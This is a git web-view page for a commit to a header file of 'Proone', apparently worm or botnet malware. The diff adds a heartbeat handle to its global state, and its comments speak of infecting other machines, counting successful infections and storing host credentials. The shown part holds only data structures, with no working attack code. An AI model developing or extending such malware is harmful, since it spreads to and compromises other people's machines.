aboutsummaryrefslogtreecommitdiff
path: root/src/proone.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-08 16:18:13 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-08 16:18:13 +0930
commit550d2eec27a42254b26139208765022fffe7c775 (patch)
tree3842addbbded988183405d37b9cc9c451ba919d9 /src/proone.h
parent8eed8cde29960ace2ea1b2ceb61962be6f258364 (diff)
* Remove proone-unpack
* self test is done by proone-pack * Impl: htbt@proone * htbt: allocate large buffer first by deault * htbt: use 0600 for NY_BIN as the image is not an executable * pack: return error when z_stream is cut short * proone-pack: impl "nybin" file format
Diffstat (limited to 'src/proone.h')
-rw-r--r--src/proone.h8
1 files changed, 5 insertions, 3 deletions
diff --git a/src/proone.h b/src/proone.h
index cbd1cd9..a3aac4d 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -1,6 +1,7 @@
#pragma once
#include "pack.h"
#include "resolv.h"
+#include "htbt.h"
#include <stdint.h>
#include <stdbool.h>
@@ -23,15 +24,16 @@ struct prne_global { // TODO: tidy init code when finalised
* Could be NULL. Just keep infecting other machines without it.
*/
prne_resolv_t *resolv;
+ prne_htbt_t *htbt;
pid_t parent_pid;
pid_t child_pid;
- int shm_fd;
uint8_t *m_dvault;
const uint8_t *m_exec;
size_t exec_size;
const uint8_t *m_exec_dvault;
+ int blackhole[2];
+ int shm_fd;
uint16_t dvault_size;
- bool bin_ready;
bool is_child;
prne_bin_archive_t bin_archive;
@@ -65,7 +67,7 @@ struct prne_shared_global {
uint64_t bne_cnt;
// Number of successful infections.
uint64_t infect_cnt;
- // null-terminated name of new binary
+ // null-terminated path to the new binary image
char ny_bin_path[256];
char ny_bin_args[1024];
size_t host_cred_len;